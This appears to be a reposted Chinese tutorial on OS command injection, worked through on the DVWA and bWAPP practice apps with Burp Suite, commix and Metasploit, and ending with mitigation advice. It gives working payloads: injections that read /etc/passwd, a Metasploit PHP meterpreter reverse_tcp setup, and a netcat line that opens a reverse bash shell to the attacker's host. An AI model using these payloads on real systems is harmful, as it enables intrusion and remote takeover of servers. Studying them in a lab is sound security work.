此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
介绍
命令注入也称为 Shell 注入或 OS 注入。当攻击者试图直接通过易受攻击的应用程序执行系统级命令以检索 Web 服务器的信息或尝试对服务器进行未经授权的访问时,就会发生这种情况。只有当用户提供的数据在传递到服务器之前未经过适当验证时,才会发生此类攻击。此用户数据可以是任何形式,例如表单、cookie、HTTP 标头等。
命令注入是如何发生的?
在许多情况下,开发人员会尝试使用操作系统命令将某些功能添加到他们的 Web 应用程序中。但是,如果应用程序未经任何验证就将用户提供的输入直接传递给服务器,则应用程序可能会容易受到命令注入攻击。
为了清晰地了解情况,让我们考虑以下场景:
想象一下,一个 Web 应用程序提供这样的功能:任何用户都可以通过他的 Web 界面 ping 任何特定的 IP 地址以确认主机连接,这意味着该应用程序正在将带有该特定输入 IP 的ping命令直接传递给服务器。
元字符
元字符是用于将实际命令与不需要的系统命令分开的符号运算符。分号 (;) 和符号 (&) 主要用作分隔符,用于区分真实输入命令和我们试图注入的命令。
常用的元字符有:
命令注入的类型
基于错误的注入:当攻击者通过输入参数注入命令,并且该命令的输出显示在特定网页上时,这证明应用程序容易受到命令注入的攻击。显示的结果可能是错误的形式,也可能是您尝试运行的命令的实际结果。然后,攻击者根据 Web 服务器的 shell 修改和添加其他命令,并从应用程序中收集信息。
盲注:您注入的命令结果不会显示给攻击者,也不会返回任何错误消息。攻击者可能会使用其他技术来识别该命令是否真正在服务器上执行。
OS 命令注入漏洞是十大 OWASP漏洞之一。因此,让我们看看它的影响。
操作系统命令注入的影响
操作系统命令注入是最强大的漏洞之一,其“严重程度高,CVSS 评分为 8”。
因此,此次注射报告如下:
- CWE-77:命令中使用的特殊元素中和不当。
- CWE-78:OS 命令中使用的特殊元素中和不当。
想知道如何利用此漏洞吗?让我们看看它的步骤:
漏洞利用步骤——操作系统命令注入
步骤 1:识别输入字段
第 2 步:了解功能
步骤 3:尝试 Ping 方法延时
步骤 4:使用各种运算符来利用操作系统命令注入
所以我想到目前为止,您可能对操作系统命令注入的概念及其方法有了清晰的认识。但在开始攻击之前,让我们再明确一点,即
“命令注入不同于代码注入”,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。在命令注入中,攻击者扩展应用程序的默认功能,即执行系统命令,而无需注入代码。来源:
https://www.owasp.org/index.php/Command_Injection
开始吧!
基本操作系统命令注入
我在浏览器中打开目标 IP,以admin : password 身份登录 DVWA ,在 DVWA 安全选项中,我将安全级别设置为低。现在,我选择了窗口左侧的命令注入漏洞。
我看到了一个存在操作系统命令注入漏洞的表单,要求“输入 IP 地址:”。
从下图中您可以看到,我尝试通过输入127.0.0.1 来 ping 其本地主机,因此我得到了输出结果。
127.0.0.1;ls
绕过黑名单实施
很多时候,开发人员会设置常用元字符的黑名单,例如 “&”,“;”,“&&”,“||”,“#”等,以保护他们的 Web 应用程序免受命令注入漏洞的影响。
因此,为了绕过这个黑名单,我们需要尝试开发人员忘记添加的所有不同的元字符。
我把安全级别提高得太高,并尝试了所有不同的元字符组合。
127.0.0.1 |cat /etc/passwd
使用 BurpSuite 进行命令注入
Burpsuite 被认为是最好的、最强大的 Web 渗透测试工具之一。因此,我们将尝试通过它破坏 Web 应用程序。
我现在已经通过在浏览器中运行目标的 IP来使用bee:bug登录 bWAPP,甚至将安全级别设置为中等,并将“选择您的 bug ”选项设置为“ OS 命令注入”。
现在我只需要在元字符的帮助下添加一些系统命令(即“pwd ”)来操纵目标。
其中我使用“|”作为分隔符,您可以选择您自己的。
当我单击“Go”选项卡时,响应就开始生成,并且在窗口的右侧您可以看到我已经捕获了工作目录。
模糊测试
在最后一种情况下,在绕过已实施的黑名单时,我们很幸运,开发人员已经创建并设置了具有有限元字符组合的列表。但仍然需要时间来检查元字符的所有可能组合。因此,很明显,此元字符不适用于每个 Web 应用程序,因此为了绕过这些以不同方式生成的黑名单,我们将进行模糊测试攻击。
让我们来看看怎么样!!
我已经创建了一个包含所有可能元字符组合的字典,现在只需将其包含到我的攻击中即可。
调整您的burp suite并开始拦截请求,一旦您捕获正在进行的请求,只需右键单击代理选项卡并选择发送给入侵者的选项,即可将其发送给入侵者。
当我启动“开始攻击”按钮时,就会弹出一个带有模糊测试攻击的新窗口。
从下面的截图中可以清楚地看到我们的攻击已经开始,长度部分出现了波动。我双击了长度字段,以便首先获取最高值。
使用 Commix 进行操作系统命令注入
有时模糊测试会耗费大量时间,甚至在对其进行命令注入攻击时也会变得有些令人沮丧,即等待增加的长度并检查它丢弃的每个可能的响应。
为了使我们的攻击更简单、更快捷,我们将使用 Python 脚本自动化工具“Commix”,它可以非常轻松地找到命令注入漏洞,然后帮助我们利用它。您可以从此处了解有关Commix 的更多信息。
因此,让我们尝试通过在 kali 机器中获取 commix 会话再次关闭 web 应用程序。
从下图中您可以看到我将安全级别设置得太高,并将“选择您的错误”选项选为“OS 命令注入”。
Commix 依靠cookie 工作。因此,为了获取它们,我将通过启用代理和拦截选项将浏览器的请求捕获到我的 burpsuite 中,然后当我点击“查找”按钮时,我将在 burpsuite 的“代理”选项卡中看到详细信息。
commix --url="http://192.168.0.11/bWAPP/commandi.php" --cookie="security_level=2; PHPSESSID=cc91040cc70b9abdb2fdc637527bf132" --data="target=www.nsa.gov&form=submit"
太棒了!我们进入了目标机器。
如果我们可以将这个commix shell转换成meterpreter shell 会怎么样?
一旦我们捕获 commix 会话,我们将尝试通过执行以下命令来生成目标机器的反向 meterpreter 会话:
reverse_tcp
set lhost 192.168.0.9
set lport 4444
当我们按下回车键时,它会要求我们选择是使用netcat shell 还是其他(meterpreter) shell。选择选项2,然后再次按下回车键。
现在你将会弹出一个新的会话列表,询问你想要哪个 meterpreter 会话,例如你想要它是 PHP、Windows、python 还是其他。由于我们的目标服务器运行在 PHP 框架上,我们将选择选项8,即PHP meterpreter 反向 shell。
msfconsole -r /usr/share/commix/php_meterpreter.rc
使用 Metasploit 进行操作系统命令注入
如果我们可以直接通过 Metasploit 框架获得 meterpreter 会话,那么为什么还要花这么长时间去获取它呢?
让我们看看如何
通过运行简单命令“ msfconsole”将Metasploit 框架启动到您的 kali 终端。
有很多不同的方法可以为我们提供预期的结果,但我们将使用web_delivery 漏洞来找到将恶意负载传输到远程机器的方法。
输入以下命令来生成我们的有效载荷:
use exploit/multi/script/web_delivery
现在是时候选择我们的目标了。
输入“show goals”以获取所有内置目标选项的完整列表。
set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.9
set lport 2222
exploit
我们快完成了,只需使用任何元字符将此有效负载包含在命令中即可。
这里我使用了& ( ampercent ),以便服务器相继执行两个命令。
盲操作系统命令注入
所以到目前为止,我们很幸运,因为 Web 应用程序通过其 HTTP 响应直接在屏幕上返回命令的输出。但在许多情况下,应用程序不会返回任何内容,但仍会在其后端进程中运行一些系统命令。因此问题出现了——这样的 Web 应用程序是否容易受到命令注入攻击?
让我们尝试使用最可靠的方法来解决这个问题,即延时 ping 命令,它将检测应用程序是否遭受命令注入。
检测盲操作系统命令注入
我现在已经登录 bWAPP 并选择“选择你的错误”选项为“OS 命令注入 - 盲”,进一步将安全级别设置为中等。
因此我被重定向到存在命令注入漏洞的 Web 应用程序。
让我们检查一下,这个应用程序是否真的受到了操作系统命令注入的攻击。
在提供的字段中输入任何IP 地址并打开您的 burpsuite 监视器以捕获正在进行的http 请求,从而将其全部转发到中继器选项卡。
ping –c 10 192.168.0.9
利用 Netcat 进行盲操作系统命令注入
到目前为止,我们确认我们尝试浏览的应用程序存在命令注入漏洞。让我们尝试使用netcat 生成反向 shell 来触发此 Web 应用程序。
从下图中你可以看到,我检查了我的 Kali 机器的IP 地址,并使用以下命令在端口号2000处设置了netcat 监听器
nc –lvp 2000
现在在 Web 应用程序上,我已将netcat系统命令与localhost命令注入到输入字段中,即
本地主机|nc 192.168.0.9 –e /bin/bash
–e /bin/bash授权 netcat 命令在监听机器上执行 bash shell
缓解措施 – 操作系统命令注入
开发人员应该设置一些强大的服务器端验证代码,并实现一组白名单命令,只接受字母和数字,而不接受字符。
您可以从以下代码片段中检查所有这些,它可以保护 Web 应用程序免于暴露命令注入漏洞。
避免应用程序直接调用操作系统命令,如果需要,开发人员可以使用内置 API 与操作系统进行交互。开发人员甚至应该确保应用程序必须在最低权限下运行。
原文始发于微信公众号(三沐数安):操作系统命令注入综合指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论